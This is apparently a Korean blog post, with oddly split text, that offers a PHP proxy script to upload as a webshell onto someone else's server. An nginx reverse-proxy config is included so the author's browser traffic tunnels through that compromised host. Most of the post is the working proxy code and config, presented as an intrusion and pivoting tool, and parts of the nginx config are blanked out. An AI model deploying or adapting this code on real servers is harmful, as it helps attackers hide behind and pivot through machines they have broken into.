웹 셸 만 대리 할 수 있 습 니 다.
3379 단어 php-hack
저 는 재능 이 없어 서 짝 퉁 을 비교 하 는 pp + nginx 역방향 대 리 를 썼 습 니 다. 이 기능 을 쉽게 실현 할 수 있 습 니 다.
가설 하 는 것 도 비교적 편리 한 편 이다.이 걸 webshell 로 해도 좋 고, 구멍 을 올 려 도 좋 고, 상대방 서버 에 던 져 도 좋다.
그리고 로 컬 nginx 를 설정 하고 역방향 프 록 시 + rewrite 를 하면 OK 입 니 다.
코드 먼저 보기
proxy.php
if(!isset($_GET['url'])){
exit(0);
}
$ch = curl_init();
$url=$_GET['url'];
if(strstr($url,'?')){
$url.='&';
}
else{
$url.='?';
}
unset($_GET['url']);
foreach($_GET as $Key=>$Val){
if(get_magic_quotes_gpc()){
$Val=stripslashes($Val);
}
$url=$url.'&'.$Key.'='.urlencode($Val);
}
$cookie='';
foreach($_COOKIE as $Key=>$Val){
if(get_magic_quotes_gpc()){
$Val=stripslashes($Val);
}
$cookie=$cookie.$Key.'='.urlencode($Val).'; ';
}
if($_SERVER['REQUEST_METHOD']=="POST"){
curl_setopt($ch, CURLOPT_POST, 1);
$post_data='';
foreach($_POST as $Key=>$Val){
if(get_magic_quotes_gpc()){
$Val=stripslashes($Val);
}
$post_data=$post_data.'&'.$Key.'='.urlencode($Val);
}
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_HEADER, TRUE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
if(isset($_SERVER['HTTP_REFERER'])){
curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);
}
$Response=curl_exec($ch);
if(!$Response){
curl_close($ch);
exit(0);
}
$HttpStatus=curl_getinfo($ch,CURLINFO_HTTP_CODE);
$Header=substr($Response,0,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Body=substr($Response,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Headers=split("\r
",$Header);
foreach($Headers as $ThusHead){
if($ThusHead == 'Transfer-Encoding: chunked' || strstr($ThusHead,'Content-Length')!==false){
continue;
}
header($ThusHead,FALSE);
}
echo $Body;
curl_close($ch);
?>
코드 가 간단 하고 간단 한 bug 도 있 습 니 다. 여러분 이 눈치 채 셨 는 지 모 르 겠 지만 저도 수정 하기 가 귀 찮 습 니 다.
그리고
1. 이 에이 전 트 는 기본 적 인 GET / POST 만 지원 합 니 다. 파일 업로드 가 지원 되 지 않 습 니 다. 관심 이 있 는 사람 은 직접 보고, 하고, 하고, 끝내 고, 보 내 고, 여러분 을 행복 하 게 할 수 있 습 니 다.
2. 이 프 록 시 는 post 요청 을 전송 할 때 www - url - encode 를 사용 하지 않 기 때문에 프로그램 인식 이 정상 적 이지 않 을 수도 있 습 니 다.
그리고 로 컬 nginx 에 설정 을 추가 합 니 다.
# proxy webshell
server {
listen ;
location ~ () {
proxy_pass http://webshell IP/ / / /proxy.php?url=http://$host/$request_uri;
proxy_set_header Host " webshell ";
}
}
그리고 nginx 설정 을 다시 불 러 옵 니 다. 브 라 우 저가 nginx 감청 포트 를 에이전트 로 사용 하도록 설정 하면 됩 니 다.
효과 도 를 주다.